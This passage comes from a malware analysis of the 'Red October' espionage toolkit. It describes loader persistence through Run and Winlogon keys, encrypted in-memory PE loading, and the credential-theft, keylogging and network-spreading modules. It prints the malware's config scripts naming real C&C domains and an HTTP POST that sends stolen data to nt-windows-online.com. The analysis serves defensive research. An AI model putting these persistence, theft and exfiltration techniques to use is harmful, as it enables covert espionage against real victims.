58C5D4158DF279E9038344D0B420BEDE 2011.03.14 14:58:56 (GMT) 2011.03.03 12:50:46 (GMT)
24546BB958EDD449408BA1AADDB3DCEB 2011.03.04 11:46:39 (GMT) 2011.03.02 09:45:07 (GMT)
2541C266893A45F393112C6F15C2A0C7 2011.01.13 07:59:02 (GMT) 2010.10.11 14:14:34 (GMT)
B0D190A48E749B2688E7A90CE3926E84 2011.03.09 08:58:07 (GMT) 2011.03.03 12:50:46 (GMT)
3E35C7C39BC71BADFE9AD15752C2DDDE 2012.09.06 10:30:38 (GMT) 2011.03.15 07:43:59 (GMT)
EBCCD9FC831B168D872F6556B4A42DAC 2011.03.15 08:33:11 (GMT) 2011.03.15 07:43:59 (GMT)
7AAC26EA551EC67882E14C388E436F10 2011.03.15 09:06:51 (GMT) 2011.03.15 07:43:59 (GMT)
5F1D10F7CA9E1B9C301872B1BC4B8A18 2011.05.06 07:58:13 (GMT) 2011.03.15 07:43:59 (GMT)
812FC1780548F0611E3F4105E48E518A 2011.05.26 11:04:38 (GMT) 2011.03.15 07:43:59 (GMT)
DC0A5753F9885D0BA71ECEA767F91564 2011.07.20 11:06:28 (GMT) 2011.03.15 07:43:59 (GMT)
21. D44966B31FC6BAFF97AE23EA53A6DFF0 2011.10.06 14:05:34 (GMT) 2011.03.15 07:43:59 (GMT)
141DC8FD84D985F792DE9747F63C6A4C 2011.03.14 15:00:23 (GMT) 2011.03.03 12:50:46 (GMT)
8CE5E706D956D28F6412C38FC5911DCE 2011.03.09 08:18:38 (GMT) 2011.03.03 12:50:46 (GMT)
0C4D3483AD48A4751E288993388E03D2 2011.03.14 14:49:50 (GMT) 2011.03.03 12:50:46 (GMT)
9BD07F7DC5E26F022FDEA386D35EAC68 2011.03.09 07:46:51 (GMT) 2011.03.03 12:50:46 (GMT)
1754024F9932DC25691CDB90D8FAC632 2011.04.13 05:34:30 (GMT) 2011.03.15 07:43:59 (GMT)
4168EEF52CD458B253EBE62B8DAF75AC 2011.03.14 13:34:01 (GMT) 2011.03.03 12:50:46 (GMT)
2B62D48C9D728C5D9650B39E0119F1B7 2010.11.12 09:29:19 (GMT) 2010.10.11 14:14:34 (GMT)
EA74E951111ED2E046B87C0A9241FC25 2012.08.02 05:59:07 (GMT) 2011.03.15 07:43:59 (GMT)
3BE885097DBD3DF03B568D1E248A2E4C 2012.09.13 09:41:13 (GMT) 2011.03.15 07:43:59 (GMT)
B952997DD0AB0B58F916AF89A5C3E4BD 2011.04.29 10:02:22 (GMT) 2011.03.15 07:43:59 (GMT)
2216490B1C09BB9B4E07AD05A1552FE9 2012.04.06 11:35:36 (GMT) 2011.03.15 07:43:59 (GMT)
DBE4C33F6C482D571305589207A3F910 2011.03.14 14:57:27 (GMT) 2011.03.03 12:50:46 (GMT)
8E88185368C9C2C53014E0BAEFCE3066 2011.03.09 08:05:16 (GMT) 2011.03.03 12:50:46 (GMT)
3. Loader module
Known file locations:
%PROGRAMFILES%Windows NTsvchost.exe %PROGRAMFILES%Windows NTsvclogon.exe
The module is a PE EXE file, compiled with Microsoft Visual Studio 2005.
This module is created by the first-stage dropper of the malware, usually from a file containing an exploit.
It creates a system event object using name patterns:
“WIN_%08X%08X%08X%08X%08X”, where “%08X” parameters are replaced by the hexadecimal value of the file
body checksum (SHA1).
"SYS_%08X%08X%08X%08X%08X", where “%08X” parameters are replaced by the hexadecimal value of the file
name checksum (SHA1).
Then, the module checks if it was granted administrative rights and sets corresponding flag, which is used in several
subroutines.
The module generates a CLSID from the value of the SHA1 checksum of the system directory path and the volume serial
number of the system drive.
Then, it tries to read the default value of the following registry key:
HKLMSoftwareClassesCLSIDgenerated_CLSID (if it has administrative rights)
HKCUSoftwareClassesCLSIDgenerated_CLSID (if it has no administrative rights)
It checks the contents of the default key value. This check succeeds if the registry key is not present or its value is equal to
the last DWORD of the file’s SHA1 checksum. Otherwise the check fails and it runs the check again each 3 milliseconds
for 4294967294 times.
Then, it sets the default value of the registry key to the hexadecimal representation of the value of the last SHA1’s DWORD
and tries to read the registry value “InfoTip” from the same registry key. The registry value is assumed to be a 48-byte
22. binary buffer. It reads the time value from that buffer and exits if the difference between the recorded time and current time
is less than 3 days.
This means that the updated modules can be delivered not sooner than in three days to the same victim. If someone tries
to reinfect the system with the same dropper, it refuses to do so within 3 days from last infection. This can also be a
mechanism to escape from attention of power users or administrators who can run recently opened suspicious application
again and monitor its activity.
Then, it starts a registry installation thread and proceeds to its main loop.
Registry installation thread
Every 100 seconds the module ensures that it has been registered for autorun using one of the registry keys:
If launched as administrator, it appends path to its own filename to:
HKLMSoftwareMicrosoftWindows
NTCurrentVersionWinlogonUserinit
Else, it writes a registry value in:
HKCUSoftwareMicrosoftWindowsCurrentVersion
Run%autorun key% =”path to itself”
Possible Autorun key values that we have observed:
Name of the encrypted main module Name of the “Run” registry value
fsmgmtio32.msc DotNet32
cfsyn.pcs SdbChk
frpdhry.hry Hre32
ime64ex.ncs SrvCC32
io32.ocx Ocx32
lhafd.gcp Lha
lsc32i.cmp Lsc32
ocxstate.dat NtNdsc
opdocx.gxt Scpsts
sccme.hrp Lhrp
scprd.hrd Srsf
syncls.gxk Mslisht
lgdrke.swk Sltrdbe
sdlvk.acx Ltsmde
wsdktr.ltp Lsrtmpx
synhfr.pkc Msdcc
scpkrp.gmx Dbxchek
rfkscp.pck Cskcmp
qsdtlp.rcp Klsmod
23. Main loop
The module runs a loop with random Sleep() delays, and checks if it can fetch one of the URLs at microsoft.com.
Name of the encrypted main module Hostnames
fsmgmtio32.msc update.microsoft.com, www.microsoft.com
update.microsoft.com, www.microsoft.com,
Other
support.microsoft.com
If any of the URLs are available, it starts the loader thread with a filename of the main module (see Appendix A) as a
parameter. Then, it updates the “InfoTip” registry key with current time value and SHA1 of its filename. It also stores own
Process ID in that value.
The module reads the proxy server settings of Internet Explorer, Firefox, Opera and tries to fetch URLs via proxies when
direct connection is not available.
Loader Thread
The module reads the file that contains the main module, decrypts it using RC4 with a hard-coded key, and then
decompresses it using the Zlib library. Then, it checks that the decompressed buffer contains a PE file and starts the PE
loader thread.
PE loader Thread
The module implements its own PE loader. The file that is loaded is expected to be a DLL. After loading and relocating the
PE, the module calls its DllMain function twice (DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH) and returns.
24. 4. Main component
The file is a PE DLL file, no export symbols, compiled with Microsoft Visual Studio 2005.
DllMain function
The module sets a timer with a callback function to be executed every 900 seconds and starts a Windows message loop.
Timer callback function
The module checks if the computer is connected to the Internet (using InternetGetConnectedState API) and if it is
connected, starts its main thread.
HTTP Traffic generated by the main component.
Main thread
The module prepares a 98-byte buffer that contains several unique machine identifiers using its system drive’s serial
number, network adapters’ MAC addresses and Internet Explorer registration ID. The buffer also contains a unique hard-
coded hexadecimal string that appears to be a victim or campaign ID and a hard-coded DWORD value.
25. Then, it sends this buffer to a first available C&C server from a hardcoded list using HTTP POST requests. The module
expects to receive an encrypted response packet from the server. It decrypts the packet with a simple XOR algorithm, and
executes one of the following commands depending on the data contained in the packet:
Load the Dll from the packet in memory and execute its DllMain
Write the packet to a file in temporary/windows/system directory and execute it using CreateProcess()
Load a Dll by specified local path and call its DllMain, or execute a program given its path
Write the packet to a file in temporary/windows/system directory
Write the contents of the packet to %TEMP%bestcrypt_update.exe and (optional part) %TEMP%bestcrypt_update.dll
and execute the EXE file
C&C server usage timeline
Year C&C domain names URL
2007 msgenuine.net /cgi-bin/view
2008 msinfoonline.org /cgi-bin/a/slice
2009 microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com /cgi-bin/ms/check
osgenuine.com;wingenuine.com;update-genuine.com /cgi-bin/gen/jau
2010 drivers-update-online.com;drivers-get.com;drivers-check.com /cgi-bin/driver/info
genuine-check.com;genuineservicecheck.com;genuineupdate.com /cgi-bin/genuine/a
msonlineupdate.com;msonlinecheck.com;msonlineget.com /cgi-bin/online/set
os-microsoft-check.com;os-microsoft-update.com;os-microsoft- /cgi-
online.com bin/microsoft/dev
windowscheckupdate.com;windows-
/cgi-bin/win/wcx
genuine.com;windowsonlineupdate.com
2011 dll-host-update.com;dll-host-check.com;dll-host.com /cgi-bin/dllhost/ac
27. scpesc.ecs
scpkrp.gmx
sdlvk.acx
syncls.gxk
synhfr.pkc
wsdktr.ltp
Example of C&C communication session
(two bytes of the User ID were removed)
28. “Red October”. Detailed Malware Description 2. Second
Stage of Attack - Securelist
Источник: http://www.securelist.com/en/analysis/204792268/Red_October_Detailed_Malware_Description_2_Second_Stage_of_Attack
“Red October”. Detailed Malware Description 2. Second Stage of Attack
First stage of attack
1. Exploits
2. Dropper
3. Loader Module
4. Main component
Second stage of attack
1. Modules, general overview
2. Recon group
3. Password group
4. Email group
5. USB drive group
6. Keyboard group
7. Persistence group
8. Spreading group
9. Mobile group
10. Exfiltration group
1. Modules, general overview
Module framework
The main component of Sputnik implements a framework for executing the “tasks” that are provided by its C&C servers.
Most of the tasks are provided as one-time PE DLL libraries that are received from the server, executed in memory and then
immediately discarded.
Several tasks need to be constantly present, i.e. waiting for the iPhone or Nokia mobile to connect. These tasks are provided
as PE EXE files and are installed to the infected machine.
Persistent tasks
Once a USB drive is connected, search and extract files by mask/format, including deleted files. Deleted files are
restored using a built in file system parser
Wait for an iPhone or a Nokia phone to be connected. Once connected, retrieve information about the phone, its phone
book, contact list, call history, calendar, SMS messages, browsing history
Wait for a Windows Mobile phone to be connected. Once connected, infect the phone with a mobile version of the
Sputnik main component
Wait for a specially crafted Microsoft Office or PDF document and execute a malicious payload embedded in that
document, implementing a one-way covert channel of communication that can be used to restore control of the infected
machine
Record all the keystrokes, make screenshots
Execute additional encrypted modules according to a pre-defined schedule
29. Retrieve e-mail messages and attachments from Microsoft Outlook and from reachable mail servers using previously
obtained credentials
One-time tasks
Collect general software and hardware environment information
Collect filesystem and network share information, build directory listings, search and retrieve files by mask provided by
the C&C server
Collect information about installed software, most notably Oracle DB, RAdmin, IM software including Mail.Ru agent,
drivers and software for Windows Mobile, Nokia, SonyEricsson, HTC, Android phones, USB drives
Extract browsing history from Chrome, Firefox, Internet Explorer, Opera
Extract saved passwords for Web sites, FTP servers, mail and IM accounts
Extract Windows account hashes, most likely for offline cracking
Extract Outlook account information
Determine the external IP address of the infected machine
Download files from FTP servers that are reachable from the infected machine (including those that are connected to its
local network) using previously obtained credentials
Write and/or execute arbitrary code provided within the task
Perform a network scan, dump configuration data from Cisco devices if available
Perform a network scan within a predefined range and replicate to vulnerable machines using the MS08-067 vulnerability
Replicate via network using previously obtained administrative credentials
Module Groups
Group
Descrition
name
Modules of this group designed to be used during first stage of cyberattack right after initial infiltration. Their main
purpose is to collect general information about target system which helps locate and identify the infected machine,
Recon estimate potential value of current computer data and define which other modules should be pushed next. Also, these
modules collect initial easy-to-get type of information such as browser history, browser cached credentials and FTP
client settings.
This group of modules is designed to steal credentials from various applications and resources, from Mail.ru Agent
Password (popupal free app from mail.ru) to MS Outlook credentials and Windows account hashes (including cached Windows
Domain account hashes). Capable of using low-level and direct disk access to copy protected files.
This group serves stealing emails from local MS Outlook storage or remote POP3/IMAP mail server. It’s capable of
Email
dumping full email bodies with headers, saving attachments with predefined file extensions.
This group is used to steal files from attached USB devices. It monitors USB device events and starts every time new
device is attached. It can copy files from predefined extension list, size and age. This group capable of recognition,
USB drive
restoration and copying already deleted files of MS Office document formats by using own FAT-based filesystem
parser.
Keyboard This group is dedicated to recording keystrokes, grabbing text from password input fields and making screencaptures.
Current group contains installer and payload code to plant a plugin in popular applications such as MS Office or Adobe
Reader. The backdoor code is activated when specially crafted document is opened on target machine. This is used to
Persistence
regain lost access on a machine in case of unexpected loss of control (C&C server takedown or local malware
cleaning).
Modules of this group are used to scan for other hosts on the network, fingerprint them and then infect via MS08-067
Spreading or a list of stolen admin credentials. A module from this group is capable of dumping Cisco network router
configuration via SNMP commands and embedded TFTP server.
Mobile group is used to dump all valuable information about locally attached mobile device. It is capable of copying
Mobile contact information, calendars, SMS and Emails databases and many other private data. These modules are capable of
30. checking if a device was jailbroken.
While some of other modules work in “offline” mode, collect and store data locally, this group of modules transfers all
collected data to the C&C server. Modules of this group are capable of reaching FTP servers, remote network shares
Exfiltration
as well as local disk drives and copy files from these resources. Unlike Recon data collection modules these modules
are designed to run repeatedly and bring only new valuable data.
Missing Modules
Group
Descrition
name
There are modules that copy data files (such as execution logs) related to current malware family from USB drives.
USB
However, we haven’t seen a module to infect the USB drives yet. We suspect that this module is capable of infecting
Infection
removable storage, running arbitrary modules from other groups and save data back to the USB drives.
Module comparison table
31. 2. Recon group
RegConn module
Known variants:
MD5 Size Compilation date (payload)
5447848f3a5fdaf97c498190ed501620 167,936 bytes October 22nd, 2011
Summary
Gathers system related information. Records installed and recently run software, related application launch timestamps,
enumerates attached usb devices like mobile phones and looks for software from this devices, checks for presence of
custom enterprise software, maintains unfinished/unreferenced download+execute functionality, sends encrypted collected
data at one of C&C servers (i.e. nt-windows-online.com;nt-windows-update.com;nt-windows-check.com).
This module is a Win32 Dll file. C runtime and several other libs statically linked into the executable with various
optimizations enabled. All functionality is in DllMain function, no export names defined. Compiled with MS Visual C++ 2005.
Sequence of systems monitoring tasks
1. Gathers startup information, select environment variables and values %windir%, %username%, %userdomain%,
%computername%)
32. 2. Opens target directory c:windowsprefetch, records all entries in the directory of applications recently run along with
timestamp, i.e.
PREFETCH DEFRAG.EXE-273F131E.pf.2012-10-31 18:32:37
PREFETCH DUMPBIN.EXE-0751B17C.pf.2012-11-01 23:45:39
Loops through registry, attempts to access and record all recently used application data, i.e.
C:Program FilesCommon FilesJavaJava Updatejusched.exe, REG_SZ, Java(TM) Update Scheduler
C:Documents and SettingspLocal SettingsApplication DataGoogleUpdateGoogleUpdate.exe, REG_SZ, Google Installer
C:Program FilesMessengermsmsgs.exe, REG_SZ, Windows Messenger
Attempts to access and record a set of hardcoded registry keys related to enterprise software. Attempts to access and
record related keys and values. Reports on success and failure of related key and value access, i.e.
REG ORACLE* CHECK
(1) SoftwareOracleSun
RayClientInfoAgentDisconnectActions@Default -> REG_SZ:""
(1) SoftwareOracleSun RayClientInfoAgentReconnectActions
@Default -> REG_SZ:""
Attempts to access and record all registry keys and values related to context menu handlers and related executable
pathnames, i.e.
Context MENU *shellexContextMenuHandlers7-Zip
(1) *shellexContextMenuHandlers7-Zip@Default -> REG_SZ: "{23170F69-40C1-278A-1000-000100020000}"
(1) CLSID{23170F69-40C1-278A-1000-000100020000}@Default -> REG_SZ: "7-Zip ShellExtension"
(1) CLSID{23170F69-40C1-278A-1000-000100020000}InprocServer32@Default -> REG_SZ: "C:Program Files7-Zip7-
zip.dll"
(2) CLSID{23170F69-40C1-278A-1000-000100020000}InprocServer32ThreadingModel -> REG_SZ: "Apartment"
Attempts to access and record registry keys and values related to auto-start applications enumerated under the HKCU
Run key and all HKLMUserinit registry keys, i.e.
HKCU Run
(1) SOFTWAREMicrosoftWindowsCurrentVersionRunVBoxTray ->
REG_SZ: "C:WINDOWSsystem32VBoxTray.exe"
(2) SOFTWAREMicrosoftWindowsCurrentVersionRunSunJavaUpdateSched -
> REG_SZ: "C:Program FilesCommon FilesJavaJava Updatejusched.exe"
Attempts to access and record registry keys and values enabling email and webmail access under HKCUSoftwareVB
and VBA Program SettingsWebmailer, MSOffice settings, and HKCUSoftwareMail.ruAgentAgent, i.e.
REG_MRA Run
(1) SoftwareMail.RuAgentAgent -> REG_SZ: "1"
Attempts to access and record registry keys and values related to hardcoded list of attached mobile devices and also
general USB devices and mobile synchronization and contact software. Reports on success and failure of related key
and value access, i.e.
N2 Run
ERROR: can't make RegOpenKey for SoftwareNokiaPC Suite at 412: 0
MSG: The operation completed successfully
33. Attempts to access and record registry keys and values related to list of all installed software. Reports on success and
failure of related key and value access, i.e.
REG_SPEC_SSS_B Run
(1) SOFTWAREClassesInstallerProducts0B79C053C7D38M
EE4AB9A00CB3B5D2472ProductName -> REG_SZ: "WebFldrs XP"
Attempts to access and record registry keys and values indicating the presence of Radmin v2.0 remote control
software, i.e.
Radmin Run
ERROR: can't make RegOpenKey for SYSTEMRAdminv2.0ServerParameters at 412: 0
MSG: The operation completed successfully
Attempts to open Firefox prefs.js and profiles.ini configuration files. Attempts to open Opera profile.ini,
profile/Opera6.ini configuration files. Reads these files and identifies network proxies for each along with credential
information. Retrieves Internet Explorer proxy preferences from the registry.
Searches for the following file types in the registry and corresponding handler and attempts to record related data for
the following extensions:
.str .tte ._ok .ki .tel .tlg .zfc .encrypted .zm9 .dat
.crp .pcr .safe .ldf
As a part of the network activity loop, calls GetWindowsDirectoryA, GetDriveTypeA and GetVolumeInformation each
time, collects hardware information most likely for unique identification. Attempts to resolve nt-windows-update.com
domain name.
Following a successful call and return from WS2_32.WSAStartup and prior to WS2_32.gethostbyname, the collected
data is encrypted.
Attempts to connect to nt-windows-online.com. POSTs encrypted data to nt-windows-online.com/cgi-bin/nt/sk/.
If POST to nt-windows-online.com fails, attempts the same process with nt-windows-check.com, nt-windows-
update.com domains.
If no connections are made, attempts to use configured web browser proxy settings and uses them to connect to the
three hard-coded domains listed above.
Connects and POSTs the stolen configuration data.
Maintains download and execute code. How this functionality is called at runtime is uncertain. There are no references
to it at runtime, so it seems like something is missing or unfinished.
Hardcoded registry keys:
HKCUSoftwareMicrosoftWindowsShellNoRoamMUICache
HKLMSoftwareOracle
HKCUSoftwareCIT
HKCUSoftwareCIT Software
HKLMSoftware
HKLMSoftwareBaw
HKLMSoftwareBaw2
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
HKCR*shellexContextMenuHandlers
HKCRCLSID
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon
HKCUSOFTWAREVB and VBA Program SettingsWebMailer
34. HKCUSoftwareMicrosoftOffice12.0CommonGeneral
HKCUSoftwareMail.RuAgent
HKLMSOFTWAREClassesInstallerProducts
HKLMSOFTWAREMicrosoftWindowsCurrentVersionSetup
HKCUSOFTWAREMicrosoftWindows CE Services
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWindows
HKLMSoftwareNokia
HKLMSoftwareHTC
HKLMSystemCurrentControlSetControlDeviceClasses
HKCRSonyEricsson.PCCompanion.1CLSID
HKLMSystemControlSet001EnumRootWPD0000
HKLMSYSTEMCURRENTCONTROLSETENUMUSB
HKLMSYSTEMRAdmin
Wnhttp module
Known variants:
MD5 Compilation date (payload)
1b840c5b45cd015f51010e12938b528a 2012.09.05 07:02:33 (GMT)
65820769534fec10958573d1c8a545a8 2012.09.05 07:02:33 (GMT)
Summary
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. Known samples share one
code section, but contain different payloads in the resource section.
All the functionality is implemented in the DllMain function.
This module is a plugin to check Internet connectivity and get an external IP address of current system using popular public
services such as 2ip.ru, myip.ru, smart-ip.net.
DllMain
The module collects basic system information such as current computer name, current username, and path to the original
executable module where it started from. It creates a unique identifier of current system based on VolumeSerialNumber
property of the disk where current Windows system is located or a hash of current computer name and ProductID value of
Internet Explorer from HKLMSOFTWAREMicrosoftInternet ExplorerRegistrationProductID. This information is put in the
log file in the first place along with current date and time.
This module loads a config/script from local resource AAA and sends out some network requests using standard WinInet
API. The config/script AAA has the following contents:
SetOption(conn_a.D_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.D_NAME, [15] "/cgi-bin/nt/sk")
SetOption(conn_a.D_RPRT, [3] "80")
SetOption(conn_a.D_SPRT, [3] "80")
SetOption(conn_a.D_USER, [21] "%removed%")
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.J_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.J_NAME, [15] "/cgi-bin/nt/th")
SetOption(conn_a.J_USER, [21] "%removed%")
SetOption(conn_a.J_RPRT, [3] "80")
35. SetOption(conn_a.J_SPRT, [3] "80")
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.VERSION_ID, [6] "51070")
SetOption(conn_a.SEND_DELAY_TIME, [6] "20000")
SetOption(conn_a.VER_SESSION_ID, [11] "%removed%")
SetOption(http_host, [7] "2ip.ru")
SetOption(http_port, [3] "80")
SetOption(http_path, 0x002F)
SetOption(http_ua, [68] "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1)
Gecko/20100101 Firefox/5.0.1")
SetOption(http_headers, [177] "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8 Accept-Language: en-us;q=0.5,en;q=0.3 Accept-Encoding:
gzip, deflate Accept-Charset: utf-8;q=0.7,*;q=0.7")
Call(task_http)
SetOption(http_host, [12] "www.myip.ru")
SetOption(http_port, [3] "80")
SetOption(http_path, 0x002F)
SetOption(http_ua, [68] "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1)
Gecko/20100101 Firefox/5.0.1")
SetOption(http_headers, [177] "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8 Accept-Language: en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: utf-8;q=0.7,*;q=0.7")
Call(task_http)
SetOption(http_host, [13] "smart-ip.net")
SetOption(http_port, [3] "80")
SetOption(http_path, 0x002F)
SetOption(http_ua, [68] "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1)
Gecko/20100101 Firefox/5.0.1")
SetOption(http_headers, [177] "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-
us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: utf-8;q=0.7,*;q=0.7")
Call(task_http)
While “conn_a” parameters are used to access C&C server during reporting stage, other parameters which start with "http_"
are used to send out http requests. Target hosts as shown above are
1. 2ip.ru
2. www.myip.ru
3. smart-ip.net
The websites are used to get current IP address as it is visible on the Internet. If the machine is behind proxy or NAT router,
the IP address might be different from the local one. Interestingly all websites of current module developers' choice are
obviously owned by Russian-speaking people from former CIS countries, first two seem to be Russian and last one is
Ukrainian.
The module simply sends HTTP GET requests to the root page of the websites and gets the response code from the
headers as well as html/text source of the webpage, which is later uploaded to the C&C.
Current module doesn't create any local logs, instead all information is kept in memory, which is later compressed using Zlib
1.2.5, encrypted, encoded with Base64 algorithm and submitted to the C&C server.
Sysinfo module
36. Known variants:
MD5 Compilation date
e36b94cd608e3dfdf82b4e64d1e40681 2012.09.05 09:02:30 (GMT)
a2fe73d01fd766584a0c54c971a0448a 2012.09.05 09:02:30 (GMT)
The files differ only by few values from resources section (which contains configuration data) – code is identical.
This module is a PE DLL, written in C++, compiled with Microsoft Visual Studio 2010.
DLL resides only in memory – it does not drop itself or any other executables to the disk.
It creates %USERPROFILE%Local SettingsTemptmpXX.tmp file (where XX is randomly generated hex number). During
the analysis, the file stayed 0-bytes. Most probably, it's created for further data logs.
DLL collects a range of information about the computer (including the browsers history). This data is written to the memory,
compressed with Zlib deflate() function – which also performs some XOR operations on it – encoded with base64 algorithm
and sent by the HTTP POST request to the C&C server.
Initialization
After it is loaded to the memory, malware loads and locks resource BBB:AAA:0000, which contains config information;
It gets the information about local system and current process:
computer name
user name
current module name
pid
Then it creates a separate thread, which contains the main module functionality.
Main malware thread
First, it constructs an internal filename string "@INFOSYSINFO_%u_%s.bin"
where %u is equal to 7 and %s is system time – obtained with use of GetLocalTime and SystemTimeToFileTime – in format:
"%04u%02u%02u_%02u%02u%02u_%03u"
if FileTimeToSystemTime failed, it uses the default time string:
"16010101_000000_000"
if wsprintfW failed, it uses the default hardcoded filename:
"@INFOSYSINFO_X_00000000_000000_000.txt"
Then it reads the configuration from the resources section and builds the structure containing all the necessary information at
specific offsets. This structure is held only in memory.
It contains a resource named “AAA” with the following values in it:
SetOption(conn_a.D_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.D_NAME, [15] "/cgi-bin/nt/sk")
SetOption(conn_a.D_RPRT, [3] "80")
SetOption(conn_a.D_SPRT, [3] "80")
37. SetOption(conn_a.D_USER, [21] "%removed%")
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.J_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.J_NAME, [15] "/cgi-bin/nt/th")
SetOption(conn_a.J_USER, [21] "%removed%")
SetOption(conn_a.J_RPRT, [3] "80")
SetOption(conn_a.J_SPRT, [3] "80")
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.VERSION_ID, [6] "17486")
SetOption(conn_a.SEND_DELAY_TIME, [6] "20000")
SetOption(conn_a.VER_SESSION_ID, [11] "%removed%")
Call(task_sysinfo)
Malware main thread calls 2 main subroutines:
retrieves a lot of system information, including browsing history, and writes it to the in-memory log
takes data from the configuration in resources to connect to the C&C and submit collected data
Data collection
Malware collects following information:
current file time
local time
username
computer name
is admin (if the user has administrative rights)
language
ansi code package
oem code package
time zone
current module name
current directory
temp directory path
Windows directory path
system directory path
major OS version
minor OS version
build number
service pack number
platform id
Additionally, to obtain default applications for HTTP, HTTPS, HTMLFILE and MAILTO malware uses RegQueryValueEx to
check following registry keys under
HKCRttpshellopencommand
HKCRhttpsshellopencommand
HKCRhtmfileshellopencommand
HKCRmailtoshellopencommand
38. Following parameters are retrieved for each disk, including optical drives and shared mounts:
root path
filesystem name
volume name
drive type
volume serial number
filesystem flags
maximum component length
sectors per cluster
bytes per sector
number of free clusters
number of total clusters
free bytes available
total number of bytes
total number of free bytes
Then it collects information about local network adapters:
Adapter Name
Adapter Description
Address Length
Adapter MAC Address
Adapter Index
Adapter Type
DhcpEnabled
CurrentIpAddress
IpAddressList
GatewayList
DhcpServer
HaveWins
PrimaryWinsServer
SecondaryWinsServer
LeaseObtained
LeaseExpires
The malware looks for URL history from following browsers:
Chrome, Mozilla Firefox, Internet Explorer, Opera
1. Chrome history:
Before the malware is performing the SQL queries on the browsers profile-files, it copies the original file into a temp-file.
To get the Tempfile path and name it makes use of GetTempPathW and GetTempFileNameW with prefix ”tmp”.
The Tempfile will be named like this:
tmpXX.tmp
Where XX is a 2-digit number starting from 00.
39. Malware use following SQL query:
SELECT * FROM urls
to extract URLs (with titles, last visited date) from Chrome history database:
GoogleChromeUser DataDefaultHistory
2. Mozilla history (sub_10015430):
Malware use following SQL query:
SELECT * FROM moz_places
to extract URLs from Mozilla history database:
MozillaFirefoxProfiles%profilename%places.sqlite
In both cases, malware performs SQL related actions with use of functions from embedded SQL library (most probably parts
of sqlite3.dll).
3. IE history (sub_10014F50):
Malware calls CoCreateInstance function with following values:
CLSID 3C374A40-BAE4-11CF-BF7D-00AA006946EE Microsoft Url History Service
RIID AFA0DC11-C313-11D0-831A-00C04FD5AE38 SID_IUrlHistoryStg2
i.e. it uses IUrlHistory interface to search through the history and calls SHDOCVW!CEnumSTATURL to enumerate URLs.
It also makes use of shdocvw.dll which is responsible to get control over IE. The call-adresses are resolved dynamically:
40. 4. Opera history (sub_10014EB0):
Malware gets the Opera folder path and searches it for URLs in files:
global_history.dat, global.dat
All above subroutines retrieves URL + Title + Last Visited Time and write them to the memory (after the previous data).
Also, a DNS resolve is performed on all domain names.
This module also calls GetEnvironmentStrings to retrieve all environment variables.
It is also interested in current Windows Domain information
DomainControllerName
DomainControllerAddress
DomainControllerAddressType
DomainGuid
DomainName
DnsForestName
Flags
DcSiteName
ClientSiteName
The malware looks for all running processes and all modules loaded into their address space. For each file it retrieves
following values from the version info:
41. StringFileInfo%04x%04xSpecialBuild
StringFileInfo%04x%04xPrivateBuild
StringFileInfo%04x%04xProductVersion
StringFileInfo%04x%04xProductName
StringFileInfo%04x%04xOriginalFilename
StringFileInfo%04x%04xLegalTrademarks
StringFileInfo%04x%04xLegalCopyright
StringFileInfo%04x%04xInternalName
StringFileInfo%04x%04xFileVersion
StringFileInfo%04x%04xFileDescription
StringFileInfo%04x%04xCompanyName
It looks for installed programs information by enumerating registry key:
SOFTWAREMicrosoftWindowsCurrentVersionUninstall
For each entry it retrieves following values:
DisplayName
DislayVersion
DisplayIcon
InstallDate
UninstallString
InstallSource
InstallLocation
It retrieves information about installed USB devices.
Class GUID is hardcoded and equals:
{A5DCBF10-6530-11D2-901F-00C04FB951ED} → GUID_DEVINTERFACE_USB_DEVICE
The malware checks registry for proxy settings and extracts proxy address somewhere (to some struct or class in the
memory) if present:
[HKLM|HKCU]
SoftwareMicrosoftWindowsCurrentVersionInternet Settings@ProxyServer
SoftwareWow6432NodeMicrosoftWindowsCurrentVersionInternetSettings@ProxyServer
It also checks registry for the value MapMenuConfigGrps (not sure what that is), extracts the data and write it somewhere:
[HKLM|HKCU]
SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced@MapMenuConfigGrps
SoftwareWow6432NodeMicrosoftWindowsCurrentVersionExplorerAdvanced@MapMenuConfigGrps
It checks Opera config files for proxy server and other server settings.
In files opera6.ini or operaprefs.ini it looks for the following strings:
SOCKS server
42. WAIS server
Gopher server
FTP server
HTTP server
HTTPS server
In file prefs.js it looks for strings:
user_pref("network.proxy.socks"
user_pref("network.proxy.socks_port"
user_pref("network.proxy.ftp"
user_pref("network.proxy.ftp_port"
user_pref("network.proxy.ssl"
user_pref("network.proxy.ssl_port"
user_pref("network.proxy.http"
user_pref("network.proxy.http_port"
Then malware compresses the information stored in memory using ZLib library and encrypted with custom algorihtm.
Then it connects to the C&C server defined in AAA config and sends a POST request containing compressed, xored and
base64-encoded data:
POST http://nt-windows-online.com:80/cgi-bin/nt/sk HTTP/1.0
Host: nt-windows-online.com:80
Pragma: no-cache
Cache-Control: no-cache
Content-length: 29276
